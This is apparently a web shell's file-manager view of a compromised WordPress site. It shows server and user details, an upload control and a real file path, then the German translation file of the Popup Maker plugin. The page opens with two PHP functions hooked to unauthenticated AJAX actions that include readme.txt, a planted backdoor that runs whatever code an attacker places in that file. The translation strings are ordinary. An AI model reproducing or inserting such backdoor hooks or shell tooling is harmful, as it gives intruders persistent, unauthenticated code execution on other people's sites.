if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/popup-maker-de_DE.po
# Translation of Plugins - Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popups Builder - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popups Builder - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-08-13 21:13:51+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: de\n"
"Project-Id-Version: Plugins - Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popups Builder - Stable (latest release)\n"

#: classes/Admin/Subscribers/Table.php:415
msgid "failed to delete."
msgid_plural "failed to delete."
msgstr[0] "konnte nicht gelöscht werden."
msgstr[1] "konnten nicht gelöscht werden."

#. translators: 1. Plugin name
#: vendor-prefixed/code-atlantic/wp-autoloader/src/Autoloader.php:59
msgid "Your installation of %1$s is incomplete. If you installed %1$s from GitHub, please refer to this document to set up your development environment."
msgstr "Deine Installation von %1$s ist unvollständig. Wenn du %1$s von GitHub installiert hast, findest du in diesem Dokument Informationen zum Einrichten einer Entwicklungsumgebung."

#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:389
msgid "WordPress"
msgstr "WordPress"

#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:372
msgid "PHP"
msgstr "PHP"

#. translators: 1. Plugin Name, Requirement name (WordPress|PHP)., 2. Version
#. Number.
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:370
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:387
msgid "The plugin \"%1$s\" requires <b>%2$s v%3$s</b> or higher in order to run."
msgstr "Das Plugin „%1$s“ erfordert <b>%2$s v%3$s</b> oder höher, um zu laufen."

#: classes/ListTable.php:962
msgid "function PUM_ListTable::get_columns() must be over-ridden in a sub-class."
msgstr "Die Function PUM_ListTable::get_columns() muss in einer Unterklasse überschrieben werden."

#: classes/Integration/Form/FluentForms.php:34
msgid "Fluent Forms"
msgstr "Fluent Forms"

#: classes/Admin/Settings.php:535
msgid " This stops Popup Maker from loading Google Fonts, useful if the fonts you chose are already loaded with your theme."
msgstr " Hiermit wird Popup Maker keine Google Fonts mehr laden. Dies ist nützlich, wenn die von dir gewählten Schriften bereits mit deinem Theme geladen werden."

#: classes/Admin/Notices.php:340
msgid ""
"%1$sPopup Maker will soon require WordPress Version %2$s.%3$s \n"
"\n"
"You're using Version %4$s. Please ask your host to upgrade your server's WordPress."
msgstr ""
"%1$sPopup Maker erfordert bald WordPress Version %2$s.%3$s \n"
"\n"
"Du verwendest Version %4$s. Bitte wende dich an deinen Hoster, um WordPress auf deinem Server zu aktualisieren."

#: classes/Admin/Notices.php:326
msgid ""
"%1$sPopup Maker will soon require PHP Version %2$s.%3$s \n"
"\n"
"You're using Version %4$s. Please ask your host to upgrade your server's PHP."
msgstr ""
"%1$sPopup Maker erfordert bald PHP Version %2$s.%3$s \n"
"\n"
"Du verwendest Version %4$s. Bitte wende dich an deinen Hoster, um PHP auf deinem Server zu aktualisieren."

#: classes/Admin/Notices.php:297
msgid "** You are seeing this notice because you are an administrator. Other users of the site will see nothing."
msgstr "** Du siehst diesen Hinweis, weil du ein Administrator bist. Andere Benutzer der Website werden nichts sehen."

#: classes/Admin/Tools.php:392
msgid "Debug logging is disabled."
msgstr "Debug-Protokollierung ist deaktiviert."

#: classes/Extension/Updater.php:377
msgid "Update now."
msgstr "Jetzt aktualisieren."

#. translators: 1. opening anchor tag, do not translate 2. the new plugin
#. version 3. closing anchor tag, do not translate 4. opening anchor tag, do
#. not translate 5. closing anchor tag, do not translate</a>.
#: classes/Extension/Updater.php:366
msgid "%1$sView version %2$s details%3$s or %4$supdate now%5$s."
msgstr "%1$sDetails der Version %2$s anzeigen%3$s oder %4$sjetzt aktualisieren%5$s."

#. translators: 1. opening anchor tag, do not translate 2. the new plugin
#. version 3. closing anchor tag, do not translate.
#: classes/Extension/Updater.php:357
msgid "%1$sView version %2$s details%3$s."
msgstr "%1$sDetails der Version %2$s anzeigen%3$s."

#: classes/Extension/Updater.php:352
msgid "Contact your network administrator to install the update."
msgstr "Kontaktiere deinen Netzwerk-Administrator, um das Update zu installieren."

#. translators: the plugin name.
#: classes/Extension/Updater.php:346
msgid "There is a new version of %1$s available."
msgstr "Es ist eine neue Version von %1$s verfügbar."

#: classes/Admin/Notices.php:82
msgid "Turn off these occasional notices"
msgstr "Diese gelegentlichen Hinweise deaktivieren"

#. translators: 1. Plugin name, 2. Required plugin name, 3. Version number, 4.
#. `update it` link.
#. translators: 1. Plugin Name, 2. Required Plugin Name, 3. Version number, 4.
#. `update it` link.
#: classes/Extension/Activator.php:186 classes/Utils/Prerequisites.php:314
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:425
msgid "The plugin \"%1$s\" requires %2$s v%3$s or higher! Please %4$s to continue!"
msgstr "Das Plugin „%1$s“ benötigt %2$s v%3$s oder höher! Bitte %4$s, um fortzufahren!"

#. translators: 1. Plugin name, 2. Required plugin name, 3. `activate it` link.
#. translators: 1. Plugin name, 2. Required plugin name, 3. `install it` link.
#. translators: 1. Plugin Name, 2. Required Plugin Name, 4. `activate it` link.
#. translators: 1. Plugin Name, 2. Required Plugin Name, 3. `install it` link.
#: classes/Extension/Activator.php:174 classes/Extension/Activator.php:199
#: classes/Utils/Prerequisites.php:303 classes/Utils/Prerequisites.php:326
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:414
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:437
msgid "The plugin \"%1$s\" requires %2$s! Please %3$s to continue!"
msgstr "Das Plugin „%1$s“ benötigt %2$s! Bitte %3$s, um fortzufahren!"

#. translators: 1. PHP Version
#: classes/Utils/Prerequisites.php:278
msgid "This plugin requires <b>PHP %s</b> or higher in order to run."
msgstr "Dieses Plugin erfordert <b>PHP %s</b> oder höher, um zu laufen."

#: classes/Admin/Templates.php:546
msgid "New Trigger"
msgstr "Neuer Auslöser"

#: classes/Admin/Templates.php:508
msgid "What kind of trigger do you want?"
msgstr "Welche Art von Auslöser möchtest du?"

#: includes/modules/admin-bar.php:225
msgid "Flush Popup Cache"
msgstr "Popup-Cache leeren"

#. translators: 1 & 2 are opening and closing HTML of the link around "Learn
#. more"
#: classes/Admin/Settings.php:473
msgid "Use this if your popups \"jump\" or \"shift\" when opened. %1$sLearn more%2$s"
msgstr "Benutze diese Funktion, wenn deine Popups beim Öffnen „hüpfen“ oder sich verschieben. %1$sMehr erfahren%2$s"

#: classes/Admin/Extend.php:53
msgid "See All Premium Features"
msgstr "Alle Premium-Funktionen anzeigen"

#: classes/Admin/Extend.php:36 classes/Admin/Pages.php:66
#: classes/Upsell.php:176
msgid "Upgrade"
msgstr "Upgrade"

#: includes/modules/admin-bar.php:203
msgid "Create New Popup"
msgstr "Neues Popup erstellen"

#: classes/Admin/Settings.php:254
msgid "Google Fonts API Key *optional"
msgstr "API-Key für Google Fonts (optional)"

#: classes/Admin/Onboarding.php:329
msgid "Review Popup Metrics"
msgstr "Popup-Metriken überprüfen"

#: classes/Admin/Onboarding.php:316
msgid "You can enable or disable your popups at any time using this toggle."
msgstr "Du kannst deine Popups jederzeit mit diesem Umschalter aktivieren oder deaktivieren."

#: classes/Admin/Onboarding.php:315
msgid "Enable Popups"
msgstr "Popups aktivieren"

#: classes/Admin/Settings.php:518
msgid "Disable Popup Maker occasionally showing random tips to improve your popups."
msgstr "Deaktiviere die von Popup Maker gelegentlich angezeigten zufälligen Tipps zur Verbesserung deiner Popups."

#: classes/Admin/Settings.php:451
msgid "Custom Names"
msgstr "Individuelle Namen"

#: classes/Admin/Settings.php:446
msgid "Ad blocker: Naming method"
msgstr "Werbeblocker: Benennungsmethode"

#: classes/Admin/Onboarding.php:343
msgid "Adjust Columns"
msgstr "Spalten anpassen"

#: classes/Admin/Onboarding.php:80
msgid "Turn off these occasional tips"
msgstr "Tooltipps ausschalten"

#: classes/Admin/Notices.php:75 classes/Admin/Notices.php:404
#: classes/Admin/Onboarding.php:74
msgid "Dismiss"
msgstr "Ausblenden"

#: includes/pum-install-functions.php:191
msgid "Content Only - For use with page builders or block editor"
msgstr "Nur Inhalt – Zur Verwendung mit Page-Buildern oder dem Block-Editor"

#: classes/Admin/Tools.php:134
msgid "Error Log"
msgstr "Fehlerprotokoll"

#: classes/Integration/Form/FormidableForms.php:39
msgid "Formidable Forms"
msgstr "Formidable Forms"

#: classes/Admin/Onboarding.php:305
msgid "Click the \"Create New Popup\" button to create your first popup."
msgstr "Klicke auf den Button „Neues Popup erstellen“, um dein erstes Popup zu erstellen."

#: classes/Admin/Onboarding.php:274
msgid "Choose the popup theme which controls the visual appearance of your popup including; colors, spacing, and fonts."
msgstr "Wähle das Popup-Theme, das das visuelle Design deines Popups steuert, einschließlich Farben, Abstände und Schriften."

#: classes/Admin/Onboarding.php:260
msgid "Use display settings to choose where on the screen the popup appears and what it looks like."
msgstr "Mit den Anzeigeeinstellungen kannst du festlegen, wo auf dem Bildschirm das Popup erscheint und wie es aussieht."

#: classes/Admin/Onboarding.php:259
msgid "Popup Display"
msgstr "Popup-Anzeige"

#: classes/Admin/Onboarding.php:245
msgid "Popup Targeting"
msgstr "Pop-up-Zielgruppe"

#: classes/Admin/Onboarding.php:232
msgid "Use triggers to choose  what causes the popup to open."
msgstr "Verwende Auslöser, um auszuwählen, wodurch das Popup geöffnet wird."

#: classes/Admin/Onboarding.php:231
msgid "Popup Triggers"
msgstr "Popup-Auslöser"

#: classes/Admin/Onboarding.php:218
msgid "Add content for your popup here."
msgstr "Füge den Inhalt deines Popups hier ein."

#: classes/Admin/Onboarding.php:217
msgid "Popup Content"
msgstr "Popup-Inhalt"

#: classes/Admin/Onboarding.php:204
msgid "Name your popup so you can find it later. Site visitors will not see this."
msgstr "Benenne dein Popup, damit du es später wiederfinden kannst. Die Besucher der Website werden dies nicht sehen."

#: classes/Admin/Popups.php:174
msgid "Enter a name to help you remember what this popup is about. Only you will see this."
msgstr "Gib einen Namen ein, damit du dich daran erinnerst, worum es in diesem Popup geht. Nur du wirst ihn sehen."

#: classes/Admin/Popups.php:149
msgid "Shown as headline inside the popup. Can be left blank."
msgstr "Wird als Überschrift im Popup angezeigt. Kann leer gelassen werden."

#: classes/Admin/Templates.php:525
msgid "Stop showing popup once visitor takes this action"
msgstr "Stoppt die Anzeige des Popups, sobald der Besucher diese Aktion ausführt"

#: classes/Admin/Templates.php:518
msgid "Prevent popup from showing to visitor again using a cookie?"
msgstr "Mit einem Cookie verhindern, dass ein Popup dem Besucher erneut angezeigt wird?"

#: classes/Shortcode/PopupClose.php:83
msgid "Enter the target value for your link. Can be left blank."
msgstr "Gib den Zielwert für deinen Link ein. Kann leer gelassen werden."

#: classes/Shortcode/PopupClose.php:81
msgid "Target for the element"
msgstr "Ziel für das Element"

#: classes/Shortcode/PopupClose.php:73
msgid "Enter the href value for your link. Leave blank if you do not want this link to take the visitor to a different page."
msgstr "Gib den href-Wert für deinen Link ein. Leer lassen, wenn du nicht willst, dass dieser Link den Besucher auf eine andere Seite führt."

#: classes/Shortcode/PopupClose.php:71
msgid "Value for href"
msgstr "Wert für href"

#: classes/Telemetry.php:264
msgid "Do not allow"
msgstr "Nicht erlauben"

#: classes/Telemetry.php:258
msgid "Allow"
msgstr "Erlauben"

#: includes/pum-install-functions.php:184
msgid "Floating Bar - Soft Blue"
msgstr "Floating Bar - Soft Blue"

#: classes/Admin/Popups.php:861
msgid "Override the default close text. To use a Font Awesome icon instead of text, enter the CSS classes such as \"fas fa-camera\"."
msgstr "Überschreibe den Standard-Schließen-Text. Um ein Font-Awesome-Icon anstelle von Text zu verwenden, gib die CSS-Klassen ein, z. B. „fas fa-camera“."

#: classes/Admin/Popups.php:704
msgid "Enter URL to sound file."
msgstr "Gib die URL der Sounddatei ein."

#: classes/Admin/Popups.php:703
msgid "Custom Sound URL"
msgstr "Individuelle Sound-URL"

#: classes/Admin/Popups.php:699
msgid "Custom Sound"
msgstr "Individueller Sound"

#: classes/Admin/Popups.php:698
msgid "Correct"
msgstr "Korrekt"

#: classes/Admin/Popups.php:697
msgid "Chimes"
msgstr "Glockenspiel"

#: classes/Admin/Popups.php:696
msgid "Beep Up"
msgstr "Piepton"

#: classes/Admin/Popups.php:695
msgid "Beep 2"
msgstr "Piep 2"

#: classes/Admin/Popups.php:694
msgid "Beep"
msgstr "Piep"

#: classes/Admin/Popups.php:688
msgid "Select a sound to play when the popup opens."
msgstr "Wähle einen Sound, der beim Ausführen des Popups gespielt werden soll."

#: classes/Admin/Popups.php:687
msgid "Opening Sound"
msgstr "Sound beim Öffnen"

#: classes/Admin/Popups.php:530
msgid "Left Bottom Notice"
msgstr "Hinweis links unten"

#: classes/Admin/Popups.php:529
msgid "Top Bar"
msgstr "Header-Leiste"

#: classes/Admin/Popups.php:528
msgid "Right Bottom Slide-in"
msgstr "Slide-in rechts unten"

#: classes/Admin/Popups.php:527
msgid "Center Popup"
msgstr "Zentriere Popup"

#: classes/Admin/Popups.php:436
msgid "Sounds"
msgstr "Sounds"

#: classes/Admin/Popups.php:432
msgid "Display Presets"
msgstr "Standard-Anzeigen"

#: classes/Admin/Onboarding.php:203 classes/Admin/Popups.php:120
msgid "Popup Name"
msgstr "Popup-Name"

#: classes/Admin/Themes.php:866
msgid "To use a Font Awesome icon instead of text, enter the CSS classes such as \"fas fa-camera\"."
msgstr "Um ein Font-Awesome-Icon anstelle von Text zu verwenden, gib die CSS-Klassen ein, z. B. „fas fa-camera“."

#: classes/Admin/Settings.php:527
msgid "Check this to completely uninstall Popup Maker."
msgstr "Schalte dies ein, um Popup Maker vollständig zu deinstallieren."

#: classes/Admin/Settings.php:526
msgid "Delete all Popup Maker data on deactivation"
msgstr "Bei der Deaktivierung von Popup Maker alle zugehörigen Daten löschen."

#: classes/Admin/Settings.php:481
msgid "Body Padding Override"
msgstr "body-Innenabstand überschreiben"

#: classes/Admin/Settings.php:249
msgid "Enable experimental support for using the block editor to edit popups."
msgstr "Aktiviere die experimentelle Unterstützung für die Verwendung des Block-Editors zur Bearbeitung von Popups."

#: classes/Admin/Settings.php:248
msgid "Enable Block Editor Support"
msgstr "Block-Editor-Unterstützung einschalten"

#: classes/Integration/Form/WSForms.php:34
msgid "WS Forms"
msgstr "WP Forms"

#: classes/Shortcode/PopupCookie.php:67
msgid "This will prevent the cookie from getting set until the user scrolls it into viewport."
msgstr "Dadurch wird verhindert, dass das Cookie gesetzt wird, bis der Benutzer es in das Ansichtsfenster scrollt."

#: classes/Shortcode/PopupCookie.php:66
msgid "Only when visible on-screen"
msgstr "Nur wenn sichtbar"

#: classes/Shortcode/PopupCookie.php:32 classes/Shortcode/PopupCookie.php:106
msgid "Popup Cookie"
msgstr "Popup Cookie"

#: classes/Integration/Form/MC4WP.php:25
msgid "MailChimp for WordPress"
msgstr "MailChimp für WordPress"

#: classes/Integration/Form/PirateForms.php:64
msgid "Default Form"
msgstr "Standardformular"

#. translators: 1. Integration label.
#: classes/Integrations.php:475
msgid "Any %s Form"
msgstr "Alle %s Formulare"

#. translators: 1. Trigger name.
#: classes/Triggers.php:94
msgctxt "trigger settings modal title"
msgid "%s Trigger Settings"
msgstr "%s Trigger-Einstellungen"

#: classes/Cookies.php:111
msgid "Only in this popup"
msgstr "Nur in diesem Popup"

#: classes/Cookies.php:99 classes/Triggers.php:225
msgid "Any Supported Form*"
msgstr "Beliebige unterstützte Formulare*"

#. translators: 1. Plugin name, 2. Required plugin name, 3. Version number, 4.
#. Opening HTML tag, 5. Closing HTML tag.
#: classes/Install.php:260
msgid "The %4$s %1$s %5$s plugin requires %2$s version %3$s or greater."
msgstr "Das %4$s %1$s %5$s Plugin benötigt %2$s Version %3$s oder höher."

#: classes/AssetCache.php:671
msgid "Keep current method"
msgstr "Aktuelle Methode beibehalten"

#: classes/Admin/Popups.php:886
msgid "The delay before the popup will close after submission (in milliseconds)."
msgstr "Die Verzögerung, bevor das Popup nach Bestätigung geschlossen wird (in Millisekunden)."

#: classes/Admin/Popups.php:880
msgid "Close the popup automatically after integrated form plugin submissions."
msgstr "Das Popup wird nach dem Absenden des integrierten Formulars automatisch geschlossen."

#: classes/Admin/Popups.php:879
msgid "Close on Form Submission"
msgstr "Schließen beim Absenden des Formulars"

#: classes/Admin/Popups.php:442 classes/Cookies.php:89 classes/Triggers.php:216
msgid "Form Submission"
msgstr "Absenden des Formulars"

#: classes/Admin.php:71
msgid "Translate"
msgstr "Übersetzen"

#: includes/admin/upgrades/class-pum-admin-upgrade-routine-2.php:27
msgid "Update your popups settings."
msgstr "Aktualisiere deine Pop-up-Einstellungen."

#: includes/functions/themes/portability.php:51
msgid "Imported Theme"
msgstr "Importiertes Theme"

#. translators: %s url to product page.
#: classes/Upsell.php:110
msgid "Want to use <a href=\"%s\" target=\"_blank\">background images</a>?"
msgstr "Möchtest du <a href=\"%s\" target=\"_blank\">Hintergrundbilder</a>? verwenden?"

#. translators: %s url to product page.
#: classes/Upsell.php:86
msgid "Need more <a href=\"%s\" target=\"_blank\">advanced targeting</a> options?"
msgstr "Benötigst du mehr <a href=\"%s\" target=\"_blank\">erweiterte Targeting</a> Optionen?"

#. translators: %s url to product page.
#: classes/Upsell.php:70
msgid "Want to disable the close button? Check out <a href=\"%s\" target=\"_blank\">Forced Interaction</a>!"
msgstr "Möchtest du den Schließen-Button deaktivieren? Probiere die <a href=\"%s\" target=\"_blank\">Erzwungene Interaktion</a>!"

#. translators: 1: Number of weeks.
#: classes/Utils/Format.php:114
msgid "%sw"
msgstr "%sw"

#. translators: 1: Number of days.
#: classes/Utils/Format.php:104
msgid "%sd"
msgstr "%sd"

#. translators: 1: Number of hours.
#: classes/Utils/Format.php:94
msgid "%shr"
msgstr "%shr"

#. translators: 1: Number of minutes.
#: classes/Utils/Format.php:84
msgid "%smin"
msgstr "%smin"

#. translators: 1: Number of seconds.
#: classes/Utils/Format.php:74
msgid "%ss"
msgstr "%s s"

#: classes/Utils/Alerts.php:567
msgid "Dismiss this item."
msgstr "Verwirf diesen Punkt."

#: classes/Utils/Alerts.php:495
msgid "Check out the following notifications from Popup Maker."
msgstr "Prüfe die folgenden Benachrichtigungen von Popup Maker."

#: classes/Utils/Alerts.php:492
msgid "Notifications"
msgstr "Benachrichtigungen"

#. translators: 1. Opening HTML tag, 2. Closing HTML tag, 3. Integration name,
#. 4. Learn more URL, 5. Opening HTML tag, 6. Closing HTML tag, 7.
#. Activate/Install URL, 8. Activate/Install text.
#: classes/Utils/Alerts.php:298
msgid "%1$sDid you know:%2$s Popup Maker has custom integrations with %3$s, %4$slearn more%5$s or %6$s%7$s%8$s!"
msgstr "%1$sWusstest du schon:%2$s Popup Maker hat individuelle Integrationen mit %3$s, %4$serfahre mehr darüber%5$s oder %6$s%7$s%8$s!"

#: classes/Utils/Alerts.php:291
msgid "install it now"
msgstr "jetzt installieren"

#: classes/Utils/Alerts.php:291
msgid "activate it now"
msgstr "jetzt aktivieren"

#. translators: 1. Version number, 2. URL to changelog, 3. closing HTML tag.
#: classes/Utils/Alerts.php:241
msgid "See whats new in v%1$s - (%2$sview all changes%3$s)"
msgstr "Was ist neu in v%1$s – (%2$salle Änderungen anzeigen%3$s)"

#. translators: %s: native language name.
#: classes/Utils/Alerts.php:208
msgid "This plugin's translation for %1$s is out of date. <a href=\"%2$s\" target=\"_blank\">Help improve the translation!</a>"
msgstr "Die Übersetzung dieses Plugins für %1$s ist veraltet. <a href=\"%2$s\" target=\"_blank\">Hilf dabei, sie zu verbessern!</a>"

#. translators: 1: native language name, 2: URL to translate.wordpress.org
#. translators: 1. Native language name, 2. URL to translation.
#: classes/Utils/Alerts.php:174 classes/Utils/Alerts.php:201
msgid "This plugin is not translated into %1$s yet. <a href=\"%2$s\" target=\"_blank\">Help translate it!</a>"
msgstr "Dieses Plugin wurde noch nicht in %1$s übersetzt. <a href=\"%2$s\" target=\"_blank\">Hilf bei der Übersetzung!</a>"

#. translators: 1: native language name, 2: other native language names, comma
#. separated
#: classes/Utils/Alerts.php:162 classes/Utils/Alerts.php:189
msgid "This plugin is also available in %1$s (also: %2$s). <a href=\"%3$s\" target=\"_blank\">Help improve the translation!</a>"
msgstr "Dieses Plugin gibt es auch in %1$s (auch: %2$s). <a href=\"%3$s\" target=\"_blank\">Hilf mit, die Übersetzung zu verbessern!</a>"

#. translators: %s: native language name.
#: classes/Utils/Alerts.php:146
msgid "This plugin is also available in %1$s. <a href=\"%2$s\" target=\"_blank\">Help improve the translation!</a>"
msgstr "Dieses Plugin gibt es auch in %1$s. <a href=\"%2$s\" target=\"_blank\">Hilf mit, die Übersetzung zu verbessern!</a>"

#: classes/Utils/Upgrades.php:361
msgid "The latest version of Popup Maker requires changes to the Popup Maker settings saved on your site."
msgstr "Die aktuellste Version von Popup Maker muss einige Änderungen an den auf deiner Website gespeicherten Einstellungen machen."

#: classes/Integration/GoogleFonts.php:116
msgid "Google Web Fonts"
msgstr "Google Web Fonts"

#: classes/Admin.php:64
msgid "Integrations"
msgstr "Integrationen"

#. translators: %1$s is the post type name, %2$s is the field name, %3$s is the
#. value.
#: classes/Abstract/Repository/Posts.php:177
msgid "No %1$s found with %2$s %3$s."
msgstr "Kein %1$s gefunden mit %2$s %3$s."

#. translators: %1$s is the post type name, %2$d is the ID.
#: classes/Abstract/Repository/Posts.php:149
msgid "No %1$s found with id %2$d."
msgstr "Kein %1$s mit der ID %2$d gefunden."

#: classes/Admin/Settings.php:608
msgid "Generated Popup & Popup Theme Styles"
msgstr "Pop-up und Pop-up Theme-Styles erzeugt"

#: classes/Admin/Settings.php:594
msgid "Use this to quickly copy Popup Maker's CSS to your own stylesheet."
msgstr "Kopiere schnell und einfach das CSS von Popup Maker in dein eigenes Stylesheet."

#: classes/Admin/Settings.php:461
msgid "Ad blocker: Custom Name"
msgstr "Werbeblocker: Individueller Name"

#: classes/Admin/Settings.php:450
msgid "Randomize Names"
msgstr "Zufällige Dateinamen"

#: classes/Admin/Settings.php:442
msgid "Try to bypass ad blockers."
msgstr "Versuche Werbeblocker zu umgehen."

#: classes/Admin/Settings.php:255
msgid "Enter your own Google Fonts API key to always get the latest fonts available."
msgstr "Gib deinen eigenen Google-Fonts-API-Schlüssel ein, um immer die aktuellen Fonts zu bekommen."

#: classes/Admin/Settings.php:242
msgid "Choose the default theme used for new popups"
msgstr "Wähle das Standard-Theme für neue Popups"

#: classes/Admin/Settings.php:241
msgid "Default Popup Theme"
msgstr "Standard Pop-up-Theme"

#: classes/Admin/Themes.php:873
msgid "This moves the position of the close button outside the popup."
msgstr "Verschiebt die Position des „Schließen“-Buttons aus dem Pop-up hinaus."

#: classes/Admin/Themes.php:872
msgid "Position Outside Container"
msgstr "Position außerhalb des Containers"

#: classes/Admin/Themes.php:865
msgid "Close Button Text"
msgstr "Schließen-Button-Text"

#: classes/Admin/Themes.php:759
msgid "Alignment"
msgstr "Ausrichtung"

#: classes/Admin/Themes.php:742 classes/Admin/Themes.php:841
#: classes/Admin/Themes.php:1045
msgid "Font Weight"
msgstr "Schriftstärke"

#: classes/Admin/Themes.php:734 classes/Admin/Themes.php:833
#: classes/Admin/Themes.php:1037
msgid "Font Family"
msgstr "Schriftfamilie"

#: classes/Admin/Themes.php:714 classes/Admin/Themes.php:1017
msgid "Font Size"
msgstr "Schriftgröße"

#: classes/Admin/Themes.php:572 classes/Admin/Themes.php:980
msgid "Border Radius"
msgstr "Eckenradius"

#: classes/Admin/Themes.php:471
msgid "System Fonts"
msgstr "System-Schriften"

#: classes/Admin/Themes.php:443 classes/Admin/Themes.php:691
#: classes/Admin/Themes.php:1152
msgid "Inset (inner shadow)"
msgstr "Einfügen (innerer Schatten)"

#: classes/Admin/Themes.php:376 classes/Admin/Themes.php:401
msgid "Container"
msgstr "Container"

#: classes/Admin/Popups.php:930
msgid "This includes trapping the tab key & focus inside popup while open, force focus the first element when popup open, and refocus last click trigger when closed."
msgstr "Dies beinhaltet das Einfangen der Tab-Taste und des Fokus innerhalb des geöffneten Pop-ups, erzwinge den Fokus auf das erste Element im geöffneten Pop-up und re-fokussiere den letzten Klick nach dem Schließen."

#: classes/Admin/Popups.php:929
msgid "Disable accessibility features."
msgstr "Barrierefreiheits-Funktionen deaktivieren."

#: classes/Privacy.php:55
msgid "Some of the information below is dynamically generated, such as cookies. If you add or change popups you will see those additions or changes below and will need to update your policy accordingly."
msgstr "Einige der folgenden Informationen werden dynamisch generiert, z.B. Cookies. Wenn du Popups hinzufügst oder änderst, siehst du unten diese Ergänzungen oder Änderungen und musst deine Richtlinie entsprechend aktualisieren."

#: classes/Privacy.php:55
msgid "Note:"
msgstr "Beachte:"

#: classes/Admin/Settings.php:510
msgid "By default Popup Maker caches a single JS & CSS file in your Uploads folder. These files include core, extension & user customized styles & scripts in a single set of files."
msgstr "Standardmäßig speichert Popup Maker eine einzelne JS- und CSS-Datei in deinem Upload-Ordner. Diese Dateien beinhalten Core-, Erweiterungs- und benutzerdefinierte Stile und Skripte in einem einzigen Satz von Dateien."

#: classes/Admin/Settings.php:509
msgid "Disable asset caching."
msgstr "Zwischenspeichern von Assets deaktivieren."

#: classes/Utils/Upgrades.php:393
msgid "Process Changes"
msgstr "Prozessänderungen"

#: classes/Utils/Upgrades.php:391
msgid "The button below will process these changes automatically for you."
msgstr "Der untenstehende Button verarbeitet diese Änderungen automatisch für dich."

#: classes/Utils/Upgrades.php:364
msgid "Popup Maker needs to complete a the update of your settings that was previously started."
msgstr "Popup Maker muss die Aktualisierung deiner Einstellungen abschließen, die früher gestartet wurden."

#: classes/Shortcode/Subscribe.php:342
msgid "Note: Requiring consent may not be compliant with GDPR for all situations. Be sure to do your research or check with legal council."
msgstr "Hinweis: Die erforderliche Zustimmung ist möglicherweise nicht in allen Situationen mit der GDPR konform. Stelle sicher, dass du Recherchen durchführst oder mit einem Juristen Rücksprache hältst."

#: classes/Privacy.php:442
msgid "Cookie used to prevent popup from displaying repeatedly."
msgstr "Das Cookie wird verwendet, um zu verhindern, dass Popup-Fenster wiederholt angezeigt werden."

#: classes/Privacy.php:81
msgid "Time"
msgstr "Zeit"

#: classes/Privacy.php:80
msgid "Usage"
msgstr "Bedienungsanleitung"

#: classes/Privacy.php:64
msgid "If you submit a subscription form on our site you will be opting in for us to save your name, email address and other relevant information."
msgstr "Wenn du ein Anmeldeformular auf unserer Website benutzt, entscheidest du dich dafür, dass wir deinen Namen, deine E-Mail-Adresse und andere relevante Informationen speichern dürfen."

#. translators: 1. opening tag, 2. closing tag.
#: classes/Admin/Settings.php:425 classes/Shortcode/Subscribe.php:404
msgid "You can use %1$s%2$s to insert a link to your privacy policy. To customize the link text use %1$s:Link Text%2$s"
msgstr "Du kannst %1$s%2$s verwenden, um einen Link zu deiner Datenschutzerklärung einzufügen. Um den Linktext anzupassen, verwende %1$s:Link Text%2$s."

#: classes/Shortcode/Subscribe.php:350
msgid "Radio forces the user to make a choice, often resulting in more optins."
msgstr "Radiobuttons zwingt den Benutzer zur Auswahl, was häufig zu mehr Optionen führt."

#: classes/Shortcode/Subscribe.php:349
msgid "Field Type"
msgstr "Feldtyp"

#: classes/Shortcode/Subscribe.php:334
msgid "Consent Field Label"
msgstr "Bezeichner für das Zustimmungs-Feld"

#: classes/Shortcode/Subscribe.php:323
msgid "When enabled, the successful completion will result in normal success actions, but if they do not opt-in no records will be made."
msgstr "Wenn diese Option aktiviert ist, führt der erfolgreiche Abschluss zu normalen Erfolgsaktionen, aber wenn sie nicht zustimmen, werden keine Aufzeichnungen gemacht."

#: classes/Admin/Popups.php:1205 classes/Shortcode/Subscribe.php:322
msgid "Enabled"
msgstr "Aktiviert"

#: classes/Privacy.php:395
msgid "Subscription information was not removed. This may occur when no immediate confirmation is received during our attempt to unsubscribe you from our mailing list."
msgstr "Abonnement-Informationen wurden nicht entfernt. Dies kann vorkommen, wenn keine sofortige Bestätigung eingeht, während wir versuchen, dich von unserer Mailingliste auszutragen."

#: classes/Privacy.php:391
msgid "Subscription information was not removed. A database error may have occurred during deletion."
